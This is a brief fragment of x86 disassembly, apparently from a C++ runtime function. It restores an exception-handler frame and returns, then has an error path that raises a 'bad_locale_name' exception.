mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x42754b
push eax
push esi
call fcn.00530929
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.005301c9
int3